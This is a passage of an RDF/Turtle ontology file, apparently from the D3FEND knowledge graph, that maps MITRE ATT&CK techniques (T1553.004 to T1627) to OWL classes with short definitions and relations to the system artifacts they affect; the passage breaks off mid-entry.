d3f:T1553.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Install Root Certificate" ;
    d3f:attack-id "T1553.004" ;
    d3f:definition "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website." ;
    d3f:modifies d3f:CertificateTrustStore ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:CertificateTrustStore ],
        d3f:T1553 .

d3f:T1554 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Compromise Host Software Binary" ;
    d3f:attack-id "T1554" ;
    d3f:definition "Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications." ;
    d3f:modifies d3f:ClientApplication ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ClientApplication ],
        d3f:PersistenceTechnique .

d3f:T1555.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Keychain" ;
    d3f:accesses d3f:MacOSKeychain ;
    d3f:attack-id "T1555.001" ;
    d3f:definition "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:MacOSKeychain ],
        d3f:T1555 .

d3f:T1555.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Securityd Memory" ;
    d3f:accesses d3f:In-memoryPasswordStore ;
    d3f:attack-id "T1555.002" ;
    d3f:definition "An adversary with root access may gather credentials by reading `securityd`’s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user’s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:In-memoryPasswordStore ],
        d3f:T1555 .

d3f:T1555.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credentials from Web Browsers" ;
    d3f:accesses d3f:DatabaseFile ;
    d3f:attack-id "T1555.003" ;
    d3f:definition "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers." ;
    d3f:may-access d3f:In-memoryPasswordStore ;
    d3f:may-invoke d3f:ReadFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:In-memoryPasswordStore ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:ReadFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:DatabaseFile ],
        d3f:T1555 .

d3f:T1556.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Password Filter DLL" ;
    d3f:attack-id "T1556.002" ;
    d3f:creates d3f:SharedLibraryFile ;
    d3f:definition "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated." ;
    d3f:modifies d3f:SystemConfigurationDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabaseRecord ],
        d3f:T1556 .

d3f:T1557.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "LLMNR/NBT-NS Poisoning and SMB Relay" ;
    d3f:attack-id "T1557.001" ;
    d3f:definition "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials." ;
    d3f:produces d3f:IntranetMulticastNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:IntranetMulticastNetworkTraffic ],
        d3f:T1557 .

d3f:T1558.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Kerberoasting" ;
    d3f:attack-id "T1558.003" ;
    d3f:definition "Service Provider Name (SPN) scanning is one way to gather hashes, which results in RPC calls conforming to the NSPI protocol." ;
    d3f:may-produce d3f:RPCNetworkTraffic ;
    rdfs:seeAlso <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nspi/6dd0a3ea-b4d4-4a73-a857-add03a89a543> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-produce ;
            owl:someValuesFrom d3f:RPCNetworkTraffic ],
        d3f:T1558 .

d3f:T1559.002 a owl:Class ;
    rdfs:label "Dynamic Data Exchange" ;
    d3f:attack-id "T1559.002" ;
    d3f:definition "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution." ;
    rdfs:subClassOf d3f:T1559 .

d3f:T1561.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Disk Content Wipe" ;
    d3f:attack-id "T1561.001" ;
    d3f:definition "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources." ;
    d3f:may-modify d3f:BootSector,
        d3f:Partition,
        d3f:PartitionTable,
        d3f:Volume ;
    d3f:modifies d3f:BlockDevice ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:BlockDevice ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:Partition ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:PartitionTable ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:BootSector ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:Volume ],
        d3f:T1561 .

d3f:T1561.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Disk Structure Wipe" ;
    d3f:attack-id "T1561.002" ;
    d3f:definition "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources." ;
    d3f:may-modify d3f:BootSector,
        d3f:PartitionTable ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:PartitionTable ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:BootSector ],
        d3f:T1561 .

d3f:T1562.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Disable or Modify Tools" ;
    d3f:attack-id "T1562.001" ;
    d3f:definition "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)" ;
    d3f:disables d3f:OperatingSystemProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:disables ;
            owl:someValuesFrom d3f:OperatingSystemProcess ],
        d3f:T1562 .

d3f:T1562.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Impair Command History Logging" ;
    d3f:attack-id "T1562.003" ;
    d3f:definition "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done." ;
    d3f:may-modify d3f:UserInitScript,
        d3f:WindowsRegistryKey ;
    d3f:modifies d3f:ProcessEnvironmentVariable ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ProcessEnvironmentVariable ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:UserInitScript ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:WindowsRegistryKey ],
        d3f:T1562 .

d3f:T1562.006 a owl:Class ;
    rdfs:label "Indicator Blocking" ;
    d3f:attack-id "T1562.006" ;
    d3f:definition "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)." ;
    rdfs:subClassOf d3f:T1562 .

d3f:T1563.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "SSH Hijacking" ;
    d3f:accesses d3f:SSHSession ;
    d3f:attack-id "T1563.001" ;
    d3f:definition "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:SSHSession ],
        d3f:T1563 .

d3f:T1564.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Hidden Files and Directories" ;
    d3f:attack-id "T1564.001" ;
    d3f:definition "Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS)." ;
    d3f:modifies d3f:FileSystemMetadata ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:FileSystemMetadata ],
        d3f:T1564 .

d3f:T1564.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Hidden Users" ;
    d3f:attack-id "T1564.002" ;
    d3f:definition "Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users." ;
    d3f:modifies d3f:UserInitConfigurationFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:UserInitConfigurationFile ],
        d3f:T1564 .

d3f:T1564.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Hidden Window" ;
    d3f:attack-id "T1564.003" ;
    d3f:definition "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks." ;
    d3f:may-modify d3f:PropertyListFile,
        d3f:SystemConfigurationDatabase ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:PropertyListFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:SystemConfigurationDatabase ],
        d3f:T1564 .

d3f:T1564.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "NTFS File Attributes" ;
    d3f:attack-id "T1564.004" ;
    d3f:definition "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)" ;
    d3f:modifies d3f:FileSystemMetadata ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:FileSystemMetadata ],
        d3f:T1564 .

d3f:T1565.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Stored Data Manipulation" ;
    d3f:attack-id "T1565.001" ;
    d3f:definition "Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making." ;
    d3f:modifies d3f:File ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:File ],
        d3f:T1565 .

d3f:T1565.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Transmitted Data Manipulation" ;
    d3f:attack-id "T1565.002" ;
    d3f:definition "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making." ;
    d3f:may-modify d3f:NetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:T1565 .

d3f:T1565.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Runtime Data Manipulation" ;
    d3f:attack-id "T1565.003" ;
    d3f:definition "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making." ;
    d3f:may-modify d3f:ExecutableFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:ExecutableFile ],
        d3f:T1565 .

d3f:T1566.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Spearphishing Attachment" ;
    d3f:attack-id "T1566.001" ;
    d3f:definition "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.(Citation: Unit 42 DarkHydrus July 2018) Spearphishing may also involve social engineering techniques, such as posing as a trusted source." ;
    d3f:produces d3f:Email,
        d3f:InboundInternetMailTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:InboundInternetMailTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:Email ],
        d3f:T1566 .

d3f:T1566.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Spearphishing Link" ;
    d3f:attack-id "T1566.002" ;
    d3f:definition "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source." ;
    d3f:produces d3f:Email,
        d3f:InboundInternetMailTraffic,
        d3f:URL ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:Email ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:URL ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:InboundInternetMailTraffic ],
        d3f:T1566 .

d3f:T1566.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Spearphishing via Service" ;
    d3f:attack-id "T1566.003" ;
    d3f:definition "Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels." ;
    d3f:produces d3f:File,
        d3f:URL ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:URL ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:File ],
        d3f:T1566 .

d3f:T1568.002 a owl:Class ;
    rdfs:label "Domain Generation Algorithms" ;
    d3f:attack-id "T1568.002" ;
    d3f:definition "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)" ;
    rdfs:subClassOf d3f:T1568 .

d3f:T1569.001 a owl:Class ;
    rdfs:label "Launchctl" ;
    d3f:attack-id "T1569.001" ;
    d3f:definition "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)" ;
    rdfs:subClassOf d3f:T1569 .

d3f:T1569.002 a owl:Class ;
    rdfs:label "Service Execution" ;
    d3f:attack-id "T1569.002" ;
    d3f:definition "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039)." ;
    rdfs:subClassOf d3f:T1569 .

d3f:T1571 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Non-Standard Port" ;
    d3f:attack-id "T1571" ;
    d3f:definition "Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data." ;
    d3f:produces d3f:OutboundInternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetNetworkTraffic ],
        d3f:CommandAndControlTechnique .

d3f:T1574.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DLL" ;
    d3f:attack-id "T1574.001" ;
    d3f:definition "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution." ;
    d3f:may-create d3f:SharedLibraryFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        d3f:T1574 .

d3f:T1574.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "DLL Side-Loading" ;
    d3f:attack-id "T1574.002" ;
    d3f:definition "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s)." ;
    d3f:may-create d3f:SharedLibraryFile ;
    d3f:may-modify d3f:SharedLibraryFile ;
    rdfs:comment "This technique has been revoked by T1574.001" ;
    rdfs:seeAlso "T1574.001" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        d3f:T1574 ;
    owl:deprecated true .

d3f:T1574.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Dylib Hijacking" ;
    d3f:attack-id "T1574.004" ;
    d3f:definition "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added." ;
    d3f:may-create d3f:SharedLibraryFile ;
    d3f:may-modify d3f:SharedLibraryFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:SharedLibraryFile ],
        d3f:T1574 .

d3f:T1574.010 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Services File Permissions Weakness" ;
    d3f:attack-id "T1574.010" ;
    d3f:definition "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM." ;
    d3f:modifies d3f:ServiceApplication ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ServiceApplication ],
        d3f:T1574 ;
    skos:altLabel "Service Registry Permissions Weakness" .

d3f:T1574.011 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Services Registry Permissions Weakness" ;
    d3f:attack-id "T1574.011" ;
    d3f:definition "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)" ;
    d3f:modifies d3f:SystemConfigurationInitDatabaseRecord ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationInitDatabaseRecord ],
        d3f:T1574 .

d3f:T1578.004 a owl:Class ;
    rdfs:label "Revert Cloud Instance" ;
    d3f:attack-id "T1578.004" ;
    d3f:definition "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs." ;
    rdfs:subClassOf d3f:T1578 .

d3f:T1599 a owl:Class ;
    rdfs:label "Network Boundary Bridging" ;
    d3f:attack-id "T1599" ;
    d3f:definition "Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1614 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Location Discovery" ;
    d3f:accesses d3f:ConfigurationResource ;
    d3f:attack-id "T1614" ;
    d3f:definition "Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:ConfigurationResource ],
        d3f:DiscoveryTechnique .

d3f:T1623 a owl:Class ;
    rdfs:label "Command and Scripting Interpreter - ATTACK Mobile" ;
    d3f:attack-id "T1623" ;
    d3f:definition "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, Android is a UNIX-like OS and includes a basic [Unix Shell](https://attack.mitre.org/techniques/T1623/001) that can be accessed via the Android Debug Bridge (ADB) or Java’s `Runtime` package." ;
    rdfs:subClassOf d3f:ATTACKMobileExecutionTechnique ;
    skos:prefLabel "Command and Scripting Interpreter" .

d3f:T1623.001 a owl:Class ;
    rdfs:label "Unix Shell - ATTACK Mobile" ;
    d3f:attack-id "T1623.001" ;
    d3f:definition "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the underlying command prompts on Android and iOS devices. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges that are only accessible if the device has been rooted or jailbroken." ;
    rdfs:subClassOf d3f:T1623 ;
    skos:prefLabel "Unix Shell" .

d3f:T1624 a owl:Class ;
    rdfs:label "Event Triggered Execution - ATTACK Mobile" ;
    d3f:attack-id "T1624" ;
    d3f:definition "Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities." ;
    rdfs:subClassOf d3f:ATTACKMobilePersistenceTechnique ;
    skos:prefLabel "Event Triggered Execution" .

d3f:T1624.001 a owl:Class ;
    rdfs:label "Broadcast Receivers - ATTACK Mobile" ;
    d3f:attack-id "T1624.001" ;
    d3f:definition "Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities." ;
    rdfs:subClassOf d3f:T1624 ;
    skos:prefLabel "Broadcast Receivers" .

d3f:T1625 a owl:Class ;
    rdfs:label "Hijack Execution Flow - ATTACK Mobile" ;
    d3f:attack-id "T1625" ;
    d3f:definition "Adversaries may execute their own malicious payloads by hijacking the way operating systems run applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur over time." ;
    rdfs:subClassOf d3f:ATTACKMobilePersistenceTechnique ;
    skos:prefLabel "Hijack Execution Flow" .

d3f:T1625.001 a owl:Class ;
    rdfs:label "System Runtime API Hijacking - ATTACK Mobile" ;
    d3f:attack-id "T1625.001" ;
    d3f:definition "Adversaries may execute their own malicious payloads by hijacking the way an operating system runs applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur at later points in time." ;
    rdfs:subClassOf d3f:T1625 ;
    skos:prefLabel "System Runtime API Hijacking" .

d3f:T1626 a owl:Class ;
    rdfs:label "Abuse Elevation Control Mechanism - ATTACK Mobile" ;
    d3f:attack-id "T1626" ;
    d3f:definition "Adversaries may circumvent mechanisms designed to control elevated privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can gain on a machine. Authorization has to be granted to specific users in order to perform tasks that are designated as higher risk. An adversary can use several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system." ;
    rdfs:subClassOf d3f:ATTACKMobilePrivilegeEscalationTechnique ;
    skos:prefLabel "Abuse Elevation Control Mechanism" .

d3f:T1626.001 a owl:Class ;
    rdfs:label "Device Administrator Permissions - ATTACK Mobile" ;
    d3f:attack-id "T1626.001" ;
    d3f:definition "Adversaries may abuse Android’s device administration API to obtain a higher degree of control over the device. By abusing the API, adversaries can perform several nefarious actions, such as resetting the device’s password for [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1642), factory resetting the device for [File Deletion](https://attack.mitre.org/techniques/T1630/002) and to delete any traces of the malware, disabling all the device’s cameras, or to make it more difficult to uninstall the app." ;
    rdfs:subClassOf d3f:T1626 ;
    skos:prefLabel "Device Administrator Permissions" .

d3f:T1627 a owl:Class ;
    rdfs:label "Execution Guardrails - ATTACK Mobile" ;
    d3f:attack-id "T1627" ;
